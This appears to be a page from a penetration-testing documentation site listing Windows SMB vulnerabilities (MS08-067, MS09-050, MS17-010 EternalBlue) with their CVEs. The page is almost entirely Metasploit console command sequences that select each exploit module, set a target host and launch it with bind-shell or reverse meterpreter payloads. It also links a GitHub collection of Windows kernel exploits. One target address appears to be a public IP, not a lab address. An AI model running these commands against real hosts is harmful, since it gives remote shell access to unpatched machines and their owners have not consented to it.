> For the complete documentation index, see [llms.txt](https://infra.newerasec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infra.newerasec.com/infrastructure-testing/exploitation/windows/smb-vulnaribilites.md).

# SMB Vulnerabilities

## MS08-067&#x20;

CVE-2008-4250&#x20;

Metasploit:&#x20;

```
msf > search ms08_067 
msf > use exploit/windows/smb/ms08_067_netapi 
msf  exploit(ms08_067_netapi) > set RHOST 192.168.229.137 
msf  exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp 
msf  exploit(ms08_067_netapi) > exploit 
```

## MS09-050&#x20;

CVE-2009-2526&#x20;

Metasploit:&#x20;

```
msf > search MS09_050 
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index  
msf exploit(ms09_050_smb2_negotiate_func_index) > options 
msf exploit(ms09_050_smb2_negotiate_func_index) > set payload windows/meterpreter/reverse_tcp 
msf exploit(ms09_050_smb2_negotiate_func_index) > set rhost 110.196.193.102 
msf exploit(ms09_050_smb2_negotiate_func_index) > run 
```

Exploits:&#x20;

<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS09-050>&#x20;

## MS17-010&#x20;

CVE-2017-0143&#x20;

Metasploit:&#x20;

```
msf > use exploit/windows/smb/ms17_010_eternalblue 
msf exploit(ms17_010_eternalblue) > set rhost 10.10.1.13 
msf exploit(ms17_010_eternalblue) > run 
```
